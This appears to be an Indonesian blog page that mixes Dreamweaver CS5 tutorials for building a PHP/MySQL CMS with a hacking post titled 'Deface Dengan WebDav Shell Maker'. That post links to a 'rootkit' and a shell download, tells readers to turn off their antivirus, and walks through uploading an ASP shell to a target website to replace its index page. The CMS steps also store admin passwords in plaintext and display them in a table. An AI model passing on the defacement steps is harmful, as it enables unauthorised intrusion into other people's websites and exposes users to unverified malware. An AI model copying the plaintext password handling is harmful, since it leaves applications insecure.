- Mengaktifkan form login
Mengaktifkan form login
Langkah selanjutnya adalah mengaktifkan form login sehingga dapat digunakan dengan baik. Berikut adalah langkah-langkahnya:- Pastikan file login.php masih Anda buka
- Klik Insert > Data Objects > User Authentication > Log In User. Jendela Log In User akan muncul. Lakukan konfigurasi seperti di bawah ini.
- Get input from form: form1
- Username field: username
- Password field: password
- Validate using connection: cms_blog, klik pop-up menu untuk memilihnya
- Table: users
- Username column: username
- Password column: password
- If login succeds, go to: index.php, ini artinya jika proses login Anda sukses dan benar, maka Anda akan dialihkan ke halaman index.php. Anda dapat mengklik Browse untuk mencari file index.php
- Beri tanda checked/centang pada pilihan Go to previous URL (If exists)
- If login fails, go to: login.php. Ini artinya ketika proses login Anda mengalami kegagalan, Anda akan dikembalikan ke halaman login.
- Klik OK untuk menyelesaiakannya. Simpan kembali pekerjaan Anda.
- Halaman login telah berhasil Anda selesaikan. Jika muncul jendela peringantan Copy Dependent File, klik OK saja
Membuat form tambah berita dan mengaktifkannya (add-news.php)
Anda telah dapat melindungi halaman admin dengan username dan password. Anda juga telah dapat menambahkan dan mengaktifkan link Log Out. Langkah berikutnya adalah bagian utama dari tutorial ini, yaitu aplikasi berita. Akan ada 3 tahap dalam hal ini, yaitu:- Menampilkan data login, sehingga nantinya siapa yang melakukan posting dan edit berita akan terekam secara otomatis
- Membuat form tambah berita
- Mengaktifkan form tambah berita
- Buka file add-news.php
- Klik Insert > Data Objects > Recordset. Jendela Recordset akan muncul
- Name: rsSession (ubahlah defaultnya yang semula Recordset1 menjadi rsSession)
- Connection: cms_blog
- Table: users
- Columns: All
- Filter: username
- Ubah URL Parameter menjadi Session Variable
- Ubah tulisan username menjadi MM_Username (perhatikan besar kecil huruf)
- Klik OK untuk menyelesaikannya.
- Simpan kembali hasil pekerjaan Anda.
Tag :
Belajar Web,
Membuat CMS PHP MySQL (Part 2)
Posting ini adalah lanjutan dari Posting sebelumnya. Oleh karena itu
sebelum membaca posting ini, pastikan Anda telah membaca dan mengikuti
artikel-artikel sebelumnya:
Untuk membuat form edit data admin dan mengaktifkannya, ikuti langkah-langkah berikut ini:
Membuat recordset Recordset1:
Anda telah membuat Recordset1, langkah selanjutnya adalah mengaktifkan form edit admin dengan query SQL di atas. Berikut langkah-langkagnya:
- Membuat Site Definition di Dreamweaver CS5, dan
- Membuat koneksi database PHP MySQL dengan Dreamweaver CS5
- Membuat CMS PHP MySQL Menggunakan Dreamweaver CS5, CS4, CS3 (Part 1)
Membuat form edit data administrator
Seperti dijelaskan pada Part 1 bahwa link edit admin akan mengantarkan Anda pada link dengan alamat http://localhost/cms_blog/admin/edit-admin.php?edit=1. Maka di sini Anda menggunakan fasilitas Recordset yang ada dalam Dreamweaver.
Java Web Media: Web Design and Web Programming Course
Membuat recordset Recordset1:
Java Web Media: Web Design and Web Programming Course Depok
- Buka file edit-admin.php dengan Dreamweaver Anda
- Hapus tulisan “Form edit-admin goes here”
- Klik Insert > Data Objects > Recordset. Jendela Recordset akan muncul. Lalu lakukan perubahan seperti di bawah ini:
- Name: Recordset1. Lalu Connection: cms_blog, Table: users
- Pada menu Filter, pilih ID. Lalu tulisan ID menjadi edit
- Klik OK untuk menyelesaikannya. (Lihat Gambar di atas)
Anda telah membuat Recordset1, langkah selanjutnya adalah mengaktifkan form edit admin dengan query SQL di atas. Berikut langkah-langkagnya:
Java Web Media: Web Design and Web Programming Course Depok
- Klik Insert > Data Objects > Update Record > Record Update Form Wizard. Jendela Record Update Form akan keluar. Lakukan beberapa perubahan.
- Connection: cms_blog
- Table to update: users
- Select record from: Recordset1
- Unique key column: ID, dengan Numeric bertanda centang/checked
- After updating, go to: admin.php. Anda bisa mengklik Browse lalu pilih file admin.php
- Pada menu Form fields:, seleksi kolom ID lalu hapus dengan mengklik tanda minus (-) di atasnya, yang artinya Remove item. Lakukan hal yang sama untuk kolom updated. Hapus juga kolom tersebut karena isinya (ID dan updated) akan digenerate secara otomatis oleh MySQL. Ini artinya yang tersisa
- Klik kolom password, lalu pada menu Display as: secara default adalah Text field. Ubahlah menjadi Password field. Secara otomatis Default value: akan berubah menjadi kosong.
- Untuk memasukkan Default Value, klik gambar petir maka jendela Dynamic Data akan keluar. Klik tanda plus (+) pada Recordset (Recordset1) lalu pilih kolom password lalu Klik OK. Anda juga dapat mengetik Default Value secara manual dengan menambahkan kode ini: <?php echo $row_Recordset1['password']; ?>
- Klik OK untuk menyelesaikannya. Form Edit data Admin Anda telah selesai
- Simpan hasil pekerjaan Anda
Menghapus data admin
Link delete admin adalah http://localhost/cms_blog/admin/edit-admin.php?delete=5. Di sini kita hanya akan membuat script delete data secara instan yang disediakan Dreamweaver. Berikut adalah langkah-langkahnya:
Java Web Media: Web Design and Web Programming Course Depok
- Pastikan Anda masih membuka halaman edit-admin.php
- Klik Insert > Data Objects > Delete Record. Jendela Delete Record akan keluar.
- Check if variable is defined: Primary key value
- Connection: cms_blog
- Table: users, ubah dengan mengklik pop-up menu
- Primary key column: ID, dengan Numeric bertanda centang/checked
- Primary key value: URL Parameter. Lalu ubah tulisan ID menjadi delete
- After deleting, go to: admin.php. Anda dapat mengklik Browse lalu klik file admin.php.
- Klik OK untuk menyelesaikannya
- Simpan kembali pekerjaan Anda.
Tag :
Belajar Web,
Deface Dengan WebDav Shell Maker
Langsung aja yau…mungkin deface dengan Web Dav itu deface paling bawah alias gampang.
Saya
akan memberikan tutor dan link download WebDav… Berhubung kebanyakan
Hacker pemula menggunakan cara ini.. Jadi tidak usah khawatir akan
kerusakan website.. Karena hanya halaman index saja yang di deface…
Download Files Berikut :
Download : Rootkit
Password : cbf
Download : Shell
*NB: Tutup antivirus anda, kalau tidak antivirus akan detect rootkit sebagai virus.
Mungkin
aplikasi Hmei7 ini terdeteksi Virus Rooit atau Malware tetapi
sebenarnya pada aplikasi ini tidak mengandung virus… Saya sudah
menyimpan aplikasi ini sekitar 2 minggu dan tidak terjadi apa-apa pada
komputer saya sebaiknya matikan antivirus sebelum membuka aplikasi ini…
Deface
menggunakan aplikasi ini adalah deface dalam bentuk asp, dan shellnnya
sudah berada pada aplikasi ini jadi tidak usah memerlukan shell lain
sperti b473k dan c99 tidak bisa digunakan untuk ini karena shell didalam
adalah shell hanya untuk website ASP.
Nih ku kasih tutor dikit mengenai aplikasi ini :
1. Jalankan software nya..
2. Pilih WebDav >> ASP Shell Maker
3. Terus Klik Add Site >> Masukkan Website Target
4. Bila Berhasil akan ada penampakan seperti ini:
5. Terus hasilnya copas pada address bar.. Maka akan ada tampilan seperti ini..
6.Cari
file Index atau apa saja lah yang bisa merubah tampilan website nya,
edit / upload file tersebut dengan script halaman deface. Contohnya
seperti ini:
Ok.. Mungkin ini dulu yang sedikit bisa saya sharing untuk sobat semua…. Untuk selanjutnya silahkan berkreasi…..
Semoga bermanfaat….
Semoga bermanfaat….
Sumber: Deface Dengan WebDav Shell Maker
Tag :
Hacking,
Membuat CMS PHP MySQL (Part 1)
Dalam tutorial kali ini, Anda akan belajar membuat sebuah CMS sederhana
dengan menggunakan bahasa pemrograman PHP MySQL dan menggunakan Adobe
Dreaweaver CS5 (bisa juga digunakan pada CS3 dan CS4). Sebelum Anda
memasuki tutorial ini pastikan Anda telah mengikuti:
- Membuat Site Definition di Dreamweaver CS5, dan
- Membuat koneksi database PHP MySQL dengan Dreamweaver CS5
- Mendownload source code cms_blog.rar dan mengesktraktnya ke dalam webroot komputer Anda
Tutorial ini akan menggunakan tiga (3) buah tabel MySQL, yaitu tabel: users, post dan category. Berikut adalah rincian ketiga tabel tersebut:
users
CREATE TABLE IF NOT EXISTS `users` ( `ID` int(10) NOT NULL AUTO_INCREMENT, `name` varchar(64) NOT NULL, `username` varchar(64) NOT NULL, `password` varchar(64) NOT NULL, `updated` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, PRIMARY KEY (`ID`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
post
CREATE TABLE IF NOT EXISTS `post` ( `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `title` text NOT NULL, `category` varchar(500) NOT NULL, `content` text NOT NULL, `updated` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, PRIMARY KEY (`ID`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
category
CREATE TABLE IF NOT EXISTS `category` ( `ID` int(10) NOT NULL AUTO_INCREMENT, `category` varchar(100) NOT NULL, PRIMARY KEY (`ID`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
MEMBUAT FORM TAMBAH ADMIN: add-admin.php
Buka program Adobe Dreamweaver Anda, lalu ikuti langkah-langkah di bawah ini:
- Buka file add-admin.php
- Ubah tulisan “Edit admin” menjadi “Add admin”
- Kemudian hapus tulisan “Form add-admin goes here”, di sana Anda akan membuat form tambah Admin
- Klik Insert > Data Objects > Insert Record > Record Insertion Form Wizard. Jendela baru akan muncul, lakukan beberapa konfigurasi seperti di bawah ini.
- Connection: cms_blog, bisa jadi berbeda dengan Anda (tergantung penamaan koneksi pada saat Anda membuat koneksi database PHP MySQL)
- Table: users
- After inserting, go to: admin.php, Anda juga bisa mengklik Browse untuk mencari file admin.php
- Pada menu Form fields Anda akan melihat tanda plus (+), yang artinya Add item dan minus (-) yang artinya Remove item. Di sana Anda juga akan melihat menu Column, Label, Display As dan Submit As. Column adalah kolom yang ada di dalam tabel MySQL Anda, dalam hal ini tentunya tabel users.
- Pada menu Column, klik kolom ID, lalu klik tanda minus (-). Lakukan hal yang sama pada kolom updated. Ini artinya, yang tersisa hanya kolom name,
username dan password. Selanjutnya Anda akan merubah menu Display As kolom password, sehingga yang semula berupa text field berubah menjadi password field - Klik pada kolom password, lalu pada menu bagian bawah, Anda akan melihat menu Display As:, klik pop-up menu yang ada, lalu ubah menjadi Password field
- Klik OK jika sudah selesai, form Anda akan muncul pada design view
- Klik Split View, lakukan perubahan/penambahan kode dengan tangan Anda. Cari kode <table align=”center”> lalu ubah menjadi <table align=”center” class=”data-table”>. Lakukan juga perubahan pada button, cari kode berikut <input type=”submit” value=”Insert record”> lalu ubah value-nya menjadi <input type=”submit” value=”Add admin”>
- Copy code <input type=”submit” value=”Add admin”> tersebut, lalu Paste di sampingnya lalu ubah menjadi: <input name=”Reset” type=”reset” value=”Reset”>. Perubahan/hasil akhir dari dua buah button tersebut menghasilkan kode seperti ini: <input type=”submit” value=”Add admin”><input name=”Reset” type=”reset” value=”Reset”>
- Sekarang Anda mempunyai dua buah button, yang satu untuk Add admin dan yang satunya adalah tombol Reset
- Simpan kembali file add-admin.php, cobalah melalui browser. Anda telah berhasil membuat dan mengaktifkan form tersebut.
- Lakukan ujicoba memasukkan bebeberapa nama, username dan password. Setiap kali selesai menambahkan nama, username dan password, Anda akan dialihkan ke halaman admin.php
Langkah selanjutnya adalah menampilkan listing admin/user yang telah
ditambahkan ke dalam database sehingga Anda dapat mengaturnya, mengedit
dan menghapusnya. Berikut adalah langkah-langkahnya.
- Buka file admin.php, bukalah dengan Design View
- Untuk menyamakan persepsi, kita sama workspace terlebih dahulu. Klik Windows, lalu pastikan hanya menu Properties, Bindings, Appiclation Bar dan file admin.php yang diberi tanda check (checked), jika ada selain menu-menu tersebut, silakan dinonaktifkan dengan mengklik/unchecked pada menu tersebut. Menu Bindings akan muncul di sebelah kanan workspace Anda, di sana Anda juga akan menemukan tombol tanda plus (+).
- Klik tanda plus (+) tersebut, lalu pilih/klik Recordset (Query). Jendela Recordset akan keluar. Lakukan beberapa konfigurasi seperti pada langkah berikut ini:
- Name: rsUser, penamaan recordset/query di sini adalah bebas, Anda diijinkan untuk memberi nama yang berbeda
- Connection: cms_blog
- Table: users
- Sort: name. Klik pop-up menu pertama, lalu pilih kolom name, lalu pada pop-up menu kedua, biarkan nilai ASCENDING tetap seperti semula. Ini artinya Anda akan mengurutkan namanya berdasarkan abjad.
- Klik Test untuk mengetes query Anda, jika Anda telah memasukkan data user/admin sebelumnya, maka Anda akan melihat nama user diurutkan berdasarkan abjad. Klik OK untuk menutup jendela Test
- Klik OK sekali lagi. Anda telah berhasil membuat query. Pada menu Bindings, Anda akan melihat Recordset (rsUser) telah muncul.
- Klik icon/tanda plus (yang berada dalam jendela Recordset (rsUser) yang berbackground putih. Di sana Anda akan melihat kolom tabel user secara detail yang terdiri atas ID, name, username, password, dan updated
- Cari tulisan “Name & username go here”, lalu hapus tulisan tersebut. Di sana Anda akan mengisinya dengan dynamic data yang telah Anda simpan dalam tabel user.
- Melalui panel/menu Bindings dan Recordset (rsUser), klik kolom tabel name, lalu drag/tarik/seret menuju teks yang telah Anda hapus (Langkah 11)
- Lalu cari tulisan “2001-10-22 09:00″, kemudian hapus
- Melalui panel/menu Bindings dan Recordset (rsUser), klik kolom tabel password, lalu drag/tarik/seret menuju teks yang telah Anda hapus (Langkah 13)
- Seleksi tulisan “Edit”, lalu klik kanan > Make link kemudian jendela Select File akan muncul. Buka folder admin, lalu klik file edit-admin.php
- Masih di jendela Select File, klik tombol Parameters… yang berada di sebelah kanan bawah. Klik tombol Parameters… tersebut. Jendela Parameters akan muncul yang otomatis akan membuka kolom Name
- Pada kolom Name, ketik edit, lalu klik pada kolom Value, sejajar dengan tulisan edit. Anda akan diminta untuk mengisinya, klik icon/tanda petir/listrik untuk memberikan dynamic value dari tabel user. Jendela Dynamic Data akan keluar. Pilih kolom ID (Jika kolom ID tidak keluar, klik tanda plus dari Recordset (rsUser).
- Klik OK sebanyak tiga kali untuk menyelesaikannya. Hasil dari langkah ini nantinya akan menghasilkan link http://localhost/cms_blog/admin/edit-admin.php?edit=1
- Seleksi tulisan “Delete”, lalu klik kanan > Make link kemudian jendela Select File akan muncul. Buka folder admin, lalu klik file edit-admin.php
- Masih di jendela Select File, klik tombol Parameters… yang berada di sebelah kanan bawah. Klik tombol Parameters… tersebut. Jendela Parameters akan muncul yang otomatis akan membuka kolom Name
- Pada kolom Name, ketik delete, lalu klik pada kolom Value, sejajar dengan tulisan delete. Anda akan diminta untuk mengisinya, klik icon/tanda petir/listrik untuk memberikan dynamic value dari tabel user. Jendela Dynamic Data akan keluar. Pilih kolom ID (Jika kolom ID tidak keluar, klik tanda plus dari Recordset (rsUser).
- Klik OK sebanyak tiga kali untuk menyelesaikannya. Hasil dari langkah ini nantinya akan menghasilkan link http://localhost/cms_blog/admin/edit-admin.php?delete=1
- Simpan kembali file admin.php
Membuat Repeat Region dan paging halaman
Untuk membuat repeat region, cari kode di bawah ini (ubah dalam tampilan Code View), lalu seleksi kode berikut ini:
<tr> <td width="50%"><?php echo $row_rsUser['name']; ?></td> <td width="25%"><?php echo $row_rsUser['password']; ?></td> <td width="25%"><a href="edit-admin.php?edit=<?php echo $row_rsUser['ID']; ?>">Edit</a> | <a href="edit-admin.php?delete=<?php echo $row_rsUser['ID']; ?>">Delete</a></td> </tr>
Kemudian klik Insert > Data Objects > Repeat Region. Jendela Repeat Region akan keluar. Lalu pada menu tersebut:
- Recordset: rsUser
- Show: 5 Records at a time, ubah nilai 10 menjadi 5. Ini artinya akan ditampilkan 5 data user/admin dalam satu halaman
- Klik OK untuk menyelesaikannya
Langkah selanjutnya adalah membuat paging halaman untuk menampilkan data user jika ternyata user lebih dari 5 orang. Melalui Code View, cari kode dibawah ini:
<th colspan=”3″> </th>
Lalu hapus kode tersebut dan biarkan kursor Anda tetap di sana. Kemudian klik Insert > Data Objects > Recordset Paging > Recordset Navigation Bar, jendela Recordset Navigation Bar akan keluar. Lakukan beberapa konfigurasi di bawah ini:
- Recordset: rsUser
- Display using: Text
- Klik OK untuk menyelesaikannya
Membuat CMS PHP MySQL Menggunakan Dreamweaver CS5, CS4, CS3 (Part 1)
Tag :
Belajar Web,
Membuat Koneksi Database PHP MySQL di Dreamweaver
Membuat koneksi database PHP MySQL adalah langkah pertama sebelum
Anda bekerja untuk membuat website dinamis. Pastikan Anda telah bisa
membuat Site Definition sebelum Anda masuk ke materi ini.
Berikut adalah langkah-langkah membuat koneksi database PHP MySQL:
Sumber : Membuat Koneksi Database PHP MySQL di Dreamweaver
Berikut adalah langkah-langkah membuat koneksi database PHP MySQL:
- Pastikan Anda membuka file dengan ekstensi PHP
- Klik Windows > Databases, maka akan muncul panel Databases.
- Klik Icon Plus (+) > MySQL Connection
- Isi beberapa parameter berikut ini.
- Connection name: koneksiku, Anda dapat memilih nama lain.
- MySQL Server: localhost, ini jika Anda bekerja di localhost
- User name: root, secara default Xampp menggunakan username root. Bisa jadi berbeda dengan konfigurasi web server di komputer Anda
- Password: , biarkan kosong kecuali Anda telah mensetting password di web server dan database Anda.
- Database: jwm, klik Select untuk memilih database. Klik OK
- Klik Test, jika muncul tulisan pop-up “Connection was made successfully”.
- Klik OK sekali lagi
Sumber : Membuat Koneksi Database PHP MySQL di Dreamweaver
Tag :
Belajar Web,
Membuat Site Definition
Dreamweaver CS5 menyediakan settingan yang lebih mudah dalam membuat Site Definition. Berikut adalah langkah-langkah mudahnya:
- Klik Site > New Site
- Isi Site Name, dalam latihan ini Site Name diisi Websiteku.
- Local site folder, silakan klik icon folder pada Local Site Folder dan buatlah folder baru di dalam folder C:\xampp\htdocs\ dengan nama folder Websiteku, sehingga akan muncul C:\xampp\htdocs\Websiteku\. Klik Open > Select.
- Klik Server pada list di sebelah kiri. Hal ini akan membuka panel dimana Anda dapat menyetting jenis pengetesan di Local Server ataupun Remote Server.
- Klik tanda plus (+) untuk menambah Server baru guna pengetesan website dinamis yang akan kita buat.
- Pada menu Basic, klik pada Connect Using: Local/Network
- Untuk selanjutnya, gunakan settingan berikut ini:
- Server Name: Websiteku
- Connect using: Local/Network
- Server Folder: ,klik icon folder untuk menemukan folder Websiteku yang tadi telah Anda buat atau dengan mengetikkan C:\xampp\htdocs\Websiteku (hal ini bisa berbeda tergantung dari setinggan computer Anda).
- Web URL: http://localhost/Websiteku/ (hal ini juga bisa berbeda tergantung dari setinggan computer Anda). Hal ini member tahu Dreamweaver bahwa website Anda berada dalam document root dengan sub folder bernama Websiteku.
- Klik tombol Advanced pada sisi atas dari panel, lalu dari pop-up menu, pilih PHP MySQL sebagai Server Model untuk pengetesan website Anda.
- Pilih Save untuk menyimpan settingan dari website yang telah kita buat tadi. Secara default, Dreamweaver CS5 akan member tanda centang (check) pada Remote testing server.
- Hilangkan tanda centang (uncheck) pada Remote tadi dan klik (beri tanda check) pada Testing. Hal ini sangat penting. http://localhost/ adalah local server tempat kita melakukan pengetesan atas website yang kita buat. Jika Anda menggunakan MAMPP dengan Operating System Mac, maka Anda harus menggunakan alamat localhost http://localhost:8888/Websiteku/. Penambahan 8888 adalah keharusan jika Anda menggunakan Apache dan MySQL secara default.
- Klik Save. Dreamweaver CS5 secara otomatis akan menutup Site Setup Dialog dan akan segera membuat Site Cache. Anda dapat melihat site yang baru saja Anda buat telah tampil di File Anda.
- Lakukan pengetesan di browser Anda dengan membuka http://localhost/Websiteku. Maka akan muncul tampilan kosong seperti ini. Hal ini terjadi karena kita belum membuat file sama sekali.
Tag :
Belajar Web,
